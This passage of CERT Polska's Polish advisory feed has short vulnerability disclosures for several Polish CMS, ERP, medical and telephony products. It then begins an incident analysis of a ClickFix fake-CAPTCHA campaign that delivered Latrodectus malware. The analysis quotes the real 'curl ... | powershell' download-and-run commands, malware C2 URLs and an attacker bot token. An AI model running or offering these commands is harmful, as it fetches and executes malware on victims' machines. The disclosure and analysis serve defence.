&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-1468"&gt;CVE-2026-1468&lt;/a&gt;: QuickCMS jest podatny na atak typu Cross-Site Request Forgery w wielu miejscach w produkcie. Atakujący może przygotować specjalną stronę internetową, która po odwiedzeniu przez administratora automatycznie wyśle żądanie POST, tworząc produkt o treści zdefiniowanej przez atakującego. 
Oprogramowanie nie implementuje żadnych mechanizmów ochronnych przeciwko tego typu atakom. Wszystkie formularze dostępne w tym systemie są potencjalnie podatne.&lt;/p&gt;
&lt;p&gt;Producent został wcześnie poinformowany o tej podatności, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatność jedynie w wersji 6.8 — inne wersje nie były testowane i również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Podatność zgłosił Michał Biesiada, za co dziękujemy.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu DobryCMS</title><link href="https://cert.pl/posts/2026/03/CVE-2025-12462/" rel="alternate"></link><published>2026-03-02T13:55:00+01:00</published><updated>2026-03-02T13:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-03-02:/posts/2026/03/CVE-2025-12462/</id><summary type="html">W oprogramowaniu DobryCMS wykryto 2 podatności różnego typu (CVE-2025-12462 oraz CVE-2025-14532)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu DobryCMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-12462"&gt;CVE-2025-12462&lt;/a&gt;: W DobryCMS zidentyfikowano podatność typu Blind SQL Injection. Zdalny, nieuwierzytelniony atakujący może wstrzykiwać dowolne kwerendy w języku SQL w ścieżce URL w wielu parametrach.&lt;/p&gt;
&lt;p&gt;Ten problem zostały naprawiony w wersjach powyżej 8.0.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-14532"&gt;CVE-2025-14532&lt;/a&gt;: Funkcjonalność przesyłania plików w DobryCMS umożliwia zdalnemu, nieuwierzytelnionemu atakującemu przesyłanie plików dowolnego typu i z dowolnym rozszerzeniem bez jakichkolwiek ograniczeń, co może prowadzić do zdalnego wykonania kodu.&lt;/p&gt;
&lt;p&gt;Ten problem zostały naprawiony w wersjach powyżej 5.0.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności Blind SQL Injection dziękujemy Jarosławowi Wieczorkowi, Pawłowi Berusowi, Kacprowi Gendoszowi oraz Karolinie Buchnat. Natomiast za zgłoszenie dotyczące podatności Unrestricted File Upload dziękujemy Dawidowi Radzińskiemu z RED SECURITY.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu CGM CLININET oraz CGM NETRAAD</title><link href="https://cert.pl/posts/2026/03/CVE-2025-10350/" rel="alternate"></link><published>2026-03-02T11:55:00+01:00</published><updated>2026-03-02T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-03-02:/posts/2026/03/CVE-2025-10350/</id><summary type="html">W oprogramowaniu CGM CLININET oraz CGM NETRAAD wykryto 8 podatności różnego typu.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenia o 8 podatnościach w oprogramowaniu CGM CLININET oraz CGM NETRAAD i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-10350"&gt;CVE-2025-10350&lt;/a&gt; typu SQL Injection w oprogramowaniu CGM NETRAAD w module &lt;code&gt;imageserver&lt;/code&gt;, podczas przetwarzania zapytań C-FIND, umożliwia atakującemu podłączonemu do PACS uzyskanie dostępu do bazy danych, w tym do danych przetwarzanych przez oprogramowanie CGM CLININET. Podatność dotyczy CGM NETRAAD z modułem &lt;code&gt;imageserver&lt;/code&gt; w wersjach starszych niż 7.9.0.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30035"&gt;CVE-2025-30035&lt;/a&gt;: Podatność pozwala na całkowite ominięcie uwierzytelniania w CGM CLININET i dostęp do systemu na dowolnym, aktywnym koncie użytkownika, po podaniu jego nazwy, bez znajomości hasła ani posiadania żadnych dodatkowych danych. Posiadanie ID sesji jest równoznaczne z możliwością jej przejęcia i dostępem do systemu z uprawnieniami tego użytkownika.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30042"&gt;CVE-2025-30042&lt;/a&gt;: CGM CLININET posiada zaimplementowaną funkcjonalność logowania przy użyciu karty inteligentnej. Uwierzytelnienie przeprowadzane jest lokalnie po stronie użytkownika, jednak w rzeczywistości przyjmowany jest jedynie numer certyfikatu. W rezultacie do uwierzytelnienia wystarczy samo posiadanie numeru certyfikatu, niezależnie od faktycznej obecności karty inteligentnej lub posiadania klucza prywatnego.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30044"&gt;CVE-2025-30044&lt;/a&gt;: W CGM CLININET, w endpointach: &lt;code&gt;/cgi-bin/CliniNET.prd/utils/usrlogstat_simple.pl&lt;/code&gt;, &lt;code&gt;/cgi-bin/CliniNET.prd/utils/usrlogstat.pl&lt;/code&gt;, &lt;code&gt;/cgi-bin/CliniNET.prd/utils/userlogstat2.pl&lt;/code&gt; oraz &lt;code&gt;/cgi-bin/CliniNET.prd/utils/dblogstat.pl&lt;/code&gt; parametry nie są wystarczająco normalizowane, co umożliwia wstrzyknięcie kodu.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30062"&gt;CVE-2025-30062&lt;/a&gt;: W CGM CLININET, w usłudze &lt;code&gt;CheckUnitCodeAndKey.pl&lt;/code&gt;, w funkcji &lt;code&gt;validateOrgUnit&lt;/code&gt;, istnieje możliwość wstrzyknięcia polecenia SQL.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-58402"&gt;CVE-2025-58402&lt;/a&gt;: Aplikacja CGM CLININET wykorzystuje bezpośrednie, sekwencyjne identyfikatory &lt;code&gt;MessageID&lt;/code&gt; bez weryfikacji uprawnień użytkownika. Manipulacja parametrem w żądaniu GET umożliwia odczyt wiadomości oraz załączników innych użytkowników.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-58405"&gt;CVE-2025-58405&lt;/a&gt;: Aplikacja CGM CLININET nie implementuje żadnych mechanizmów zapobiegających atakom typu clickjacking. Nie wykryto nagłówków bezpieczeństwa HTTP ani zabezpieczeń przed pomijaniem ramek opartych na HTML. W rezultacie, atakujący może osadzić aplikację w złośliwie spreparowanej ramce IFRAME i nakłonić użytkowników do wykonania niezamierzonych działań, w tym potencjalnego ominięcia zabezpieczeń CSRF/XSRF.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-58406"&gt;CVE-2025-58406&lt;/a&gt;: Aplikacja CGM CLININET odpowiada bez niezbędnych nagłówków HTTP zapewniających bezpieczeństwo, narażając użytkowników na ataki po stronie klienta, takie jak clickjacking, podsłuchiwanie MIME, niebezpieczne buforowanie, słaba izolacja między domenami i brak kontroli bezpieczeństwa warstwy transportowej.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności CVE-2025-10350, CVE-2025-30035, CVE-2025-30042, CVE-2025-30044 oraz CVE-2025-30062 dziękujemy Maciejowi Kazulakowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Pro3W CMS</title><link href="https://cert.pl/posts/2026/02/CVE-2025-15498/" rel="alternate"></link><published>2026-02-27T13:55:00+01:00</published><updated>2026-02-27T13:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-02-27:/posts/2026/02/CVE-2025-15498/</id><summary type="html">W oprogramowaniu Pro3W CMS wykryto podatność typu SQL Injection (CVE-2025-15498).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Pro3W CMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-15498"&gt;CVE-2025-15498&lt;/a&gt;: Pro3W CMS jest podatny na ataki typu SQL injection. Niewłaściwa neutralizacja danych wejściowych przekazywanych do formularza logowania umożliwia zdalnemu atakującemu obejście mechanizmu uwierzytelniania i uzyskanie uprawnień administracyjnych.&lt;/p&gt;
&lt;p&gt;Problem został zidentyfikowany w wersji 1.2.0 tego oprogramowania. Ze względu na brak odpowiedzi ze strony producenta, nie udało się jednoznacznie określić zakresu podatnych wersji, jednak podatność powinna być wyeliminowana w wersjach wydanych w styczniu 2026 roku i późniejszych.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Jackowi Czepilowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu PluXml CMS</title><link href="https://cert.pl/posts/2026/02/CVE-2026-24350/" rel="alternate"></link><published>2026-02-27T11:55:00+01:00</published><updated>2026-02-27T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-02-27:/posts/2026/02/CVE-2026-24350/</id><summary type="html">W oprogramowaniu PluXml CMS wykryto 3 podatności różnego typu (od CVE-2026-24350 do CVE-2026-24352)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu PluXml CMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-24350"&gt;CVE-2026-24350&lt;/a&gt;: Oprogramowanie PluXml CMS jest podatne na ataki typu  Stored XSS w funkcjonalności przesyłania plików. Uwierzytelniony atakujący może przesłać plik SVG zawierający złośliwy ładunek, który zostanie wykonany, gdy ofiara kliknie link powiązany z przesłanym obrazem.
W wersji 5.9.0‑rc7 kliknięcie linku powiązanego z przesłanym obrazem nie wykonuje złośliwego kodu, ale bezpośredni dostęp do pliku nadal spowoduje wykonanie osadzonego payloadu.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-24351"&gt;CVE-2026-24351&lt;/a&gt;: Oprogramowanie PluXml CMS jest podatne na ataki typu Stored XSS w funkcjonalności edycji Static Pages. Atakujący posiadający uprawnienia do edycji może wstrzyknąć dowolny kod HTML i JavaScript do witryny, który zostanie wyrenderowany/wykonany podczas odwiedzania zmodyfikowanej strony.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-24352"&gt;CVE-2026-24352&lt;/a&gt;: PluXml CMS pozwala na ustawienie identyfikatora sesji użytkownika przed uwierzytelnieniem. Wartość tego identyfikatora pozostaje taka sama po uwierzytelnieniu. Takie zachowanie umożliwia atakującemu ustawienie ofierze z góry wybranego identyfikatora sesji, a następnie przejęcie uwierzytelnionej sesji.&lt;/p&gt;
&lt;p&gt;Producent został wcześniej poinformowany o tych podatnościach, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatności jedynie w wersjach 5.8.21 oraz 5.9.0-rc7 - inne wersje nie były testowane i również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Arkadiuszowi Marcie.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Omega-PSIR</title><link href="https://cert.pl/posts/2026/02/CVE-2026-1434/" rel="alternate"></link><published>2026-02-26T12:55:00+01:00</published><updated>2026-02-26T12:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-02-26:/posts/2026/02/CVE-2026-1434/</id><summary type="html">W oprogramowaniu Omega-PSIR wykryto podatność typu Cross-site Scripting (CVE-2026-1434).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Omega-PSIR i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-1434"&gt;CVE-2026-1434&lt;/a&gt;: Omega-PSIR jest podatny na ataki typu Reflected XSS poprzez parametr &lt;code&gt;lang&lt;/code&gt;. Atakujący może przygotować adres URL z ładunkiem, który po otwarciu spowoduje wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.&lt;/p&gt;
&lt;p&gt;Ten problem został naprawiony w wersji 4.6.7.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Łukaszowi Rybakowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Simple.ERP</title><link href="https://cert.pl/posts/2026/02/CVE-2026-1198/" rel="alternate"></link><published>2026-02-26T11:55:00+01:00</published><updated>2026-02-26T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-02-26:/posts/2026/02/CVE-2026-1198/</id><summary type="html">W oprogramowaniu Simple.ERP wykryto podatność typu SQL Injection (CVE-2026-1198).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Simple.ERP i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-1198"&gt;CVE-2026-1198&lt;/a&gt;: oprogramowanie SIMPLE.ERP jest podatne na atak typu SQL Injection w funkcjonalności wyszukiwania w oknie "Obroty na kontach". Brak walidacji danych wejściowych pozwala uwierzytelnionemu atakującemu wykonywać dowolne kwerendy w języku SQL.&lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 6.30@A04.4_u06.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Kamilowi Dąbkowskiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w wielu programach Finka</title><link href="https://cert.pl/posts/2026/02/CVE-2025-13776/" rel="alternate"></link><published>2026-02-24T15:55:00+01:00</published><updated>2026-02-24T15:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-02-24:/posts/2026/02/CVE-2025-13776/</id><summary type="html">W wielu programach Finka wykryto podatność typu Use of Hard-coded Credentials (CVE-2025-13776).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Finka-FK, Finka-KPR, Finka-Płace, Finka-Faktura, Finka-Magazyn oraz Finka-STW i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-13776"&gt;CVE-2025-13776&lt;/a&gt;: Wiele programów Finka korzysta z zakodowanych danych uwierzytelniających do bazy danych Firebird (wspólnych dla wszystkich instalacji tego oprogramowania). Atakujący znajdujący się w sieci lokalnej, znający domyślne dane logowania, może odczytywać i modyfikować zawartość bazy danych.&lt;/p&gt;
&lt;p&gt;Podatność została usunięta w wersjach:&lt;/p&gt;
&lt;p&gt;Finka-FK 18.5&lt;/p&gt;
&lt;p&gt;Finka-KPR 16.6&lt;/p&gt;
&lt;p&gt;Finka-Płace 13.4&lt;/p&gt;
&lt;p&gt;Finka-Faktura 18.3&lt;/p&gt;
&lt;p&gt;Finka-Magazyn 8.3&lt;/p&gt;
&lt;p&gt;Finka-STW 12.3&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Wojciechowi "Wern128" Żebrowskiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w wielu urządzeniach Slican</title><link href="https://cert.pl/posts/2026/02/CVE-2025-14577/" rel="alternate"></link><published>2026-02-24T11:55:00+01:00</published><updated>2026-02-24T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-02-24:/posts/2026/02/CVE-2025-14577/</id><summary type="html">W wielu urządzeniach firmy Slican wykryto podatność typu Missing Authentication for Critical Function (CVE-2025-14577).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w urządzeniach Slican NCP/IPL/IPM/IPU i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-14577"&gt;CVE-2025-14577&lt;/a&gt;: Urządzenia Slican NCP/IPL/IPM/IPU są podatne na PHP Function Injection. Nieuwierzytelniony atakujący może zdalnie wykonać dowolne polecenia PHP, wysyłając specjalnie spreparowane żądania do endpointu /webcti/session_ajax.php.&lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 1.24.0190 (Slican NCP) oraz 6.61.0010 (Slican IPL/IPM/IPU).&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Dariuszowi Gońdzie.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>ClickFix w akcji: jak fake captcha może zaszyfrować całą firmę</title><link href="https://cert.pl/posts/2026/02/fake-captcha-in-action/" rel="alternate"></link><published>2026-02-17T10:00:00+02:00</published><updated>2026-02-17T10:00:00+02:00</updated><author><name>Jarosław Jedynak</name></author><id>tag:cert.pl,2026-02-17:/posts/2026/02/fake-captcha-in-action/</id><summary type="html">Pomogliśmy dużej organizacji w analizie infekcji malware spowodowanej przez Fake CAPTCHA. W tym raporcie podsumowujemy nasze obserwacje oraz publikujemy szczegółową analizę znalezionego złośliwego oprogramowania.</summary><content type="html">&lt;h1&gt;Wprowadzenie&lt;/h1&gt;
&lt;p&gt;Kilka miesięcy temu dowiedzieliśmy się, że jedna z dużych polskich organizacji padła ofiarą ataku malware,
a atakujący jest aktywny w jej sieci. Podczas obsługi incydentu wspieraliśmy zarówno organy ścigania, jak i zaatakowaną organizację w dochodzeniu i usuwaniu skutków ataku.&lt;/p&gt;
&lt;p&gt;Chociaż nasza analiza opiera się na danych zebranych w konkretnej firmie, kampanie typu
Fake CAPTCHA mają charakter masowy i nie są wymierzone w konkretne organizacje.
Incydent ten jest naszym zdaniem dobrym przykładem, pozwalającym pokazać pełny łańcuch ataku oraz to, w jaki sposób
pojedynczy zainfekowany użytkownik może zagrozić bezpieczeństwu całej firmy.
Dołączyliśmy również szczegółową analizę wykorzystanych próbek złośliwego oprogramowania.&lt;/p&gt;
&lt;h1&gt;Analiza złośliwego oprogramowania&lt;/h1&gt;
&lt;p&gt;Podczas analizy jednej ze stacji roboczych zidentyfikowaliśmy katalog&lt;br&gt;
&lt;code&gt;%APPDATA%\Intel&lt;/code&gt;, który zwrócił naszą uwagę. Znajdowały się w nim następujące pliki:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;b7f8750851e70ec755343d322d7d81ea0fc1b12d4a1ab6a60e7c8605df4cd6a5  igfxSDK.exe
af45a728552ccfdcd9435c40ace60a9354d7c1b52abf507a2f1cb371dada4fde  version.dll
be5bcdfc0dbe204001b071e8270bd6856ce6841c43338d8db914e045147b0e77  wtsapi32.dll
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Podczas gdy pliki &lt;code&gt;version.dll&lt;/code&gt; i &lt;code&gt;igfxSDK.exe&lt;/code&gt; były standardowymi plikami systemu Windows, &lt;code&gt;wtsapi32.dll&lt;/code&gt; wydał się nam podejrzany, ponieważ taka sytuacja jest charakterystyczna dla tzw. side-loadingu DLL.  &lt;/p&gt;
&lt;p&gt;Skan dysku wykrył także dwa dodatkowe podejrzane pliki w katalogu &lt;code&gt;/Users/[username]/AppData/Local/&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;2528df60e55f210a6396dd7740d76afe30d5e9e8684a5b8a02a63bdcb5041bfc 245282244.dll
21b953dc06933a69bcb2e0ea2839b47288fc8f577e183c95a13fc3905061b4e6 760468301.dll
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h1&gt;Wektor infekcji&lt;/h1&gt;
&lt;p&gt;Najpierw spróbowaliśmy ustalić, w jaki sposób złośliwe oprogramowanie trafiło na stację roboczą ofiary. W logach zidentyfikowaliśmy następujące polecenie:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;cmd /c curl naintn.com/amazoncdn.com/oeiich37874cj30dkk43885j10vj38h38jd/nrs/opn/ca/ |  powershell&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Fakt wpisania takiej komendy przez ofiarę wyraźnie wskazywał na atak Fake CAPTCHA (ClickFix). W tym ataku atakujący próbuje nakłonić
ofiarę do skopiowania złośliwego fragmentu kodu i jego uruchomienia przy użyciu skrótu Win+R.
Obserwujemy rosnącą liczbę ataków przeprowadzanych w ten sposób w Polsce.&lt;/p&gt;
&lt;p&gt;Podczas poszukiwań tego adresu URL znaleźliśmy próbkę &lt;code&gt;6673794376681c48ce4981b42e9293eee010d60ef6b100a3866c0abd571ea648&lt;/code&gt; w serwisie VirusTotal.
Przeszukując logi pod kątem zdarzeń związanych z tym URL, udało nam się zidentyfikować kolejne złośliwe domeny.
Jedna z tych domen była już wcześniej rozpoznana jako domena serwująca Fake CAPTCHA, ponieważ napotkaliśmy ją w przeszłości w innym incydencie. Udało nam się wyciągnąć z niej złośliwy kod:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/uploads/2025/10/fakecaptcha.jpg"&gt;&lt;/p&gt;
&lt;p&gt;W kodzie JavaScript osadzonym na tej stronie znaleźliśmy również token Telegrama:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TELEGRAM_BOT_TOKEN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;7708755483:An7X_G5mbD3YhjDI_Ss&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TELEGRAM_CHAT_ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;78510&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Łatwo zauważyć, że ten token nie jest prawidłowym tokenem Telegrama - jest zbyt krótki. W związku z tym kod nie mógł nigdy działać zgodnie z zamierzeniem.
Możliwe, że jest to wynik błędu, ale podejrzewamy, że kod został wygenerowany przez LLM i nie został odpowiednio dostosowany.&lt;/p&gt;
&lt;p&gt;Natrafiliśmy także na inne, podobne polecenie w logach:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cmd /c curl jzluw.com/cdn-dynmedia-1.microsoft.com/is/n03ufh3k003jdhkg99fhhas/is/content/ |  powershell
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Szukając podobnych indykatorów odkryliśmy więcej polskich domen zainfekowanych w ten sam sposób. Proaktywne polowanie na zagrożenia tego typu pozwala nam reagować szybciej na ataki.&lt;/p&gt;
&lt;h1&gt;Oprogramowanie Latrodectus&lt;/h1&gt;
&lt;p&gt;Po zakończeniu wstępnej analizy przeszliśmy do szczegółowej analizy złośliwego złośliwego oprogramowania,
aby poszerzyć naszą wiedzę na temat incydentu i zdobyć dodatkowe wskaźniki IoC.
Pierwszą analizowaną próbką była side-loadowana biblioteka DLL:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;be5bcdfc0dbe204001b071e8270bd6856ce6841c43338d8db914e045147b0e77  wtsapi32.dll
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Uruchomiliśmy ją przy pomocy oprogramowania &lt;a href="https://github.com/CERT-Polska/drakvuf-sandbox"&gt;DRAKVUF Sandbox&lt;/a&gt; i zaobserwowaliśmy żądania podobne do poniższych:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;https://gasrobariokley.com/work/?counter=0&amp;amp;type=1&amp;amp;guid=3B7FFFF7F331576B6FA3479BDF43&amp;amp;os=6&amp;amp;arch=1&amp;amp;username=JohnDoe&amp;amp;group=2201209746&amp;amp;ver=2.3&amp;amp;up=7&amp;amp;direction=gasrobariokley.com
https://fadoklismokley.com/work/?counter=0&amp;amp;type=1&amp;amp;guid=3B7FFFF7F331576B6FA3479BDF43&amp;amp;os=6&amp;amp;arch=1&amp;amp;username=JohnDoe&amp;amp;group=2201209746&amp;amp;ver=2.3&amp;amp;up=7&amp;amp;direction=fadoklismokley.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Podczas ręcznej analizy ustaliliśmy, że próbka była obfuskowana przy użyciu
nieznanego nam obfuskatora. Ładując tę bibliotekę do debuggera i przechwytując
odpowiednie wywołanie funkcji &lt;code&gt;VirtualProtect&lt;/code&gt;, udało nam się uzyskać czysty zrzut pamięci.
Zrzut ten pasował do reguły &lt;code&gt;win_latrodectus_g0&lt;/code&gt; autorstwa Slavo ze SWITCH (udostępnionej na zasadach TLP:GREEN w Malpedii).&lt;/p&gt;
&lt;p&gt;Analizując dostępne materiały dotyczące tej rodziny, potwierdziliśmy, że
próbka należy do rodziny złośliwego oprogramowania &lt;a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.latrodectus"&gt;Latrodectus&lt;/a&gt;.
Warto zauważyć, że wersja zaobserwowana w URL żądania to &lt;code&gt;2.3&lt;/code&gt;. Nie udało nam się znaleźć żadnych publicznych
analiz Latrodectus w wersji 2, a tym bardziej konkretnie wersji &lt;code&gt;2.3&lt;/code&gt;. Niemniej jednak istnieje
wiele wysokiej jakości analiz wersji 1, a różnice między wersjami nie są bardzo duże.
Nie jest to jednak najnowsza wersja - znaleźliśmy próbki Latrodectus z wersją co najmniej &lt;code&gt;v2.5&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Jedną z interesujących technik utrudniających analizę dynamiczną i stosowanych przez malware jest to, że program odmawia wykonania kodu w przypadku uruchomienia
za pomocą &lt;code&gt;rundll.exe&lt;/code&gt; lub &lt;code&gt;regsrv32.exe&lt;/code&gt;. Obecne były również inne typowe
mechanizmy antydebugowe. Największym z wyzwań było odpinanie hooków na funkcje biblioteki NTDLL (NTDLL unhooking), polegające na samodzielnym 
odczytaniu pliku &lt;code&gt;ntdll.dll&lt;/code&gt; z dysku i ręcznym zaimportowaniu go do procesu, co pozwala na ominięcie typowych mechanizmów
wykrywania stosowanych przez AV i debugery. Obeszliśmy to zabezpieczenie wykonując
kolejny zrzut pamięci po pełnym wypakowaniu kodu malware, a następnie automatyczne odzyskanie importów.&lt;/p&gt;
&lt;p&gt;Na koniec, zaimplementowaliśmy skrypt do deszyfrowania stringów:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;malduck&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
